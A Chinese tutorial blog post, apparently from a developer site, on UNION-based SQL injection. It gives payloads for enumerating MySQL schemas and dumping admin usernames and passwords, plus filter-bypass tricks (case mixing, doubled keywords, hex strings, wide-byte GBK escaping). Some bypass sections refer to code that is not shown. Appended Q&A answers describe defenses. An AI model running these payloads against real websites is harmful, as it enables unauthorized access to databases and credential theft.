SQL注入利用学习-Union联合注入

联合注入的原理

在SQL语句中查询数据时,使用select 相关语句与where 条件子句筛选符合条件的记录。

select * from person where id = 1; #在person表中,筛选出id=1的记录

如果该id=1 中的1 是用户可以控制输入的部分时,就有可能存在SQL注入漏洞。

数据库提供联合查询,使得可以将两条SQL查询语句的结果进行连接。务必注意:两者的字段数必须一致。

select * from person where id = 1 union select 1,2,database(),4,5;

判断联合查询语句中的字段数时,可以使用order by num 。当依次增大num时,如果出现错误,那么上 一条SQL查询语句的结果字段数就为num-1。

联合查询利用SQL注入漏洞语句:

(1)执行联合查询

select * from person where id = 1 union select 1,2,3,4,5;

(2)查询数据库名、版本号、用户信息

select * from person where id = 1 union select 1,2,database(),version(),user();

(3)查询数据表名

select * from person where id = 1 union select 1,2,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),4,5;

(4)查询字段名

select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name='admin'),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name=0x61646D696E),4,5;

(5)查询具体数据

select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin; 
或
 select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin limit 0,2;

联合注入不适用情形:

1、union关键字被完全过滤

2、页面中压根不返回查询数据

联合注入过滤绕过技巧:

1、大小写绕过

基础:在Mysql中,大小写字母的含义是一致的。如果在进行过滤提交的数据过程中,没有对大小 进行区分,那么此时就会造成大小写绕过过滤的情况。

以上代码,都只匹配到union,并没有过滤大写字母,因此可以使用 大小写绕过。

2、双写绕过

基础:在使用 preg_replace 函数过程中,默认情况下 只进行一次匹配。因此如果匹配到字符替换 为空的情况 ,就可以造成双写绕过。

以上代码,使用i 表示大小写全部匹配,此时无法使用双写绕过。但是由于preg_replace默认只匹配一次 过滤字符,因此可以使用双写绕过。

3、过滤单引号绕过 十六进制

基础:在Mysql数据库中的SQL语句,对于字符串数据必须使用引号。但是对于字符串来说,Mysql 也识别 字符串中每个字符对应的ASCII码的16进制,此时可以使用 0x16进制替换字符串。从而绕过 引号对字符串的限制。

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

在php.ini配置文件中,开启 magic_quotes_gpc 选项,此时对于数字型注入来说,如果需要进行数 据库中数据获取,需要使用十六进制进行绕过。但是对于字符型注入来说,就需要进行逃逸引号的操 作。

4、宽字节注入原理与利用

基础:如果数据库中存储数据使用 的编码方式是 GBK,那么由于用户输入的内容会进行双字节的 组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号。

宽字节注入可以说是一种逃逸引号的技巧,利用双字节组合导致注入产生。

注意有一种情况下无法使用 联合查询注入利用方式:preg_match('/union/i',$sql), 完全过滤。

  • 27
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL注入是一种攻击技术,它利用Web应用程序中的漏洞,向数据库注入恶意代码。"union select 1,2,3"是一种常见的SQL注入攻击方式,它的目的是将查询结果合并到现有的查询中,以获取敏感信息或执行恶意操作。为了防止SQL注入攻击,开发人员应该采取一系列措施,如使用参数化查询、过滤输入、限制用户权限等。 ### 回答2: SQL注入是一种恶意攻击方法,攻击者试图通过修改应用程序的输入,来恶意地操作数据库,例如删除数据、修改数据或者获取敏感信息。SQL注入攻击的方式有很多种,其中一种常见的攻击方式是使用Union Select语句。 Union Select语句是一种将两个或多个SELECT语句的结果集合并在一起的方式。攻击者利用Union Select语句,可以将另一个SELECT语句的结果集添加到原始查询结果集中,从而获取更多的敏感数据。例如,攻击者可以使用以下代码: ``` SELECT username, password FROM users WHERE username='' UNION SELECT 1,2,3 FROM users ``` 上述代码中,攻击者通过在Union Select语句中添加“1,2,3”这个结果集,使得查询结果集包含了除了用户名和密码之外的另外三列数据。如果原始查询结果集中包含了敏感数据,这些额外的列可能会暴露更多的敏感信息。 为了防止SQL注入攻击,应用程序开发人员可以采取以下措施: 1.使用参数化查询语句。参数化查询语句不仅可以防止SQL注入攻击,还可以提高查询性能和代码的可读性和可维护性。 2.对输入数据进行验证和过滤。例如,限制用户名只包含字母和数字,防止攻击者使用特殊字符进行注入。 3.记录和监控数据库访问日志。记录日志可以帮助检测和防止SQL注入攻击,以及为后续的安全审计提供依据。 4.使用防火墙和IDS/IPS技术。防火墙和IDS/IPS技术可以检测和阻止具有攻击特征的流量,从而提高系统的安全性。 总之,在应用程序中使用合适的安全策略和技术,可以有效地防止SQL注入攻击。同时,开发者也要认识到,对于数据库的数据查询和处理需要严格甄别,不可以轻易地把所有用户输入和URL参数直接拼接到SQL语句中,应该进行有效的过滤和转义,避免开发过程中出现是否行的安全漏洞,从而确保应用程序和数据库的安全性。 ### 回答3: SQL注入是一种攻击技术,其目的是通过构造恶意输入数据来破坏数据库的完整性和保密性。其中,使用“UNION SELECT”操作符是SQL注入中常见的一种方式。 在SQL注入中,攻击者通过向数据库服务器发送恶意的SQL查询语句,来获取敏感信息或破坏数据库。例如,当攻击者将“UNION SELECT 1,2,3”注入到一个不安全的应用程序中时,他们可能会成功获取数据库中某些表的前三行记录,从而得到有关数据库的敏感信息。 这种攻击方法之所以有效,是因为数据库服务器无法区分合法的查询和恶意的查询。因此,攻击者可以通过注入合适的SQL代码来避开应用程序的安全措施,并从数据库中获取敏感信息。 为了防止SQL注入攻击,开发人员必须采取一系列的安全措施,包括使用参数化查询,严格限制数据输入,过滤掉恶意代码等等。此外,企业也可以使用安全软件和网络安全设备来检测和防止SQL注入攻击。 总之,SQL注入攻击是一种经常被黑客使用的攻击技术,可以通过使用“UNION SELECT”操作符来获取敏感信息或破坏数据库。开发人员必须采取一系列的安全措施,来防止这种攻击方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值